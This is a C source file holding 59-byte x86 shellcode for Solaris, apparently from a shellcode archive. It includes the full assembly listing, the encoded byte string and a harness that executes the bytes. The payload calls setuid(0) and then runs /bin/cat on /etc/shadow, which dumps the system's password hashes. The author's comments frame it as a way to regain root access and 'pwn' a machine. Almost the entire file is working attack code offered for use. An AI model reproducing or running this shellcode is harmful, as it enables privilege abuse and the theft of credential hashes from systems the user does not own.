shellcode-111.c

/*
; sm4x 2008
; /bin/cat /etc/shadow
; 59 bytes
; SunOS sol01 5.11 snv_86 i86pc i386 i86pc Solaris
; (port to SunOS to pwn a b0x - thank god for that default __unix__ CRYPT_DEFAULT!!!!)
; this is what happens when ur work takes away root pirv on a SunOS box :-/

global _start
_start:

xor     eax, eax

; --- setuid(0)
push    eax
push    eax
mov     al, 0x17
int     0x91

; --- setup /etc/shadow
jmp     short   load_file
ok:
pop     esi

; setup /bin/cat
push    eax
push    0x7461632f
push    0x6e69622f
mov     ebx, esp

; --- array setup
push    eax     ; null
push    esi     ; /etc/shadow
push    ebx     ; /bin/cat
mov     edx, esp

; -- execve()
push    eax     ; 0
push    edx     ; array { "/bin/cat", "/etc/shadow", 0}
push    ebx     ; /bin/cat
mov     al, 0x3b
push    eax
int     0x91

; --- exit
inc     eax
push    eax
push    eax
int     0x91

load_file:
call    ok
db      '/etc/shadow'

*/

#include "stdio.h"

char code[] =  "\x31\xc0\x50\x50\xb0\x17\xcd\x91\xeb\x20"
                "\x5e\x50\x68\x2f\x63\x61\x74\x68\x2f\x62"
                "\x69\x6e\x89\xe3\x50\x56\x53\x89\xe2\x50"
                "\x52\x53\xb0\x3b\x50\xcd\x91\x40\x50\x50"
                "\xcd\x91\xe8\xdb\xff\xff\xff\x2f\x65\x74"
                "\x63\x2f\x73\x68\x61\x64\x6f\x77";

int main(int argc, char **argv) {
 int (*func)();
 printf("Bytes: %d\n", sizeof(code));
 func = (int (*)()) code;
 (int)(*func)();
}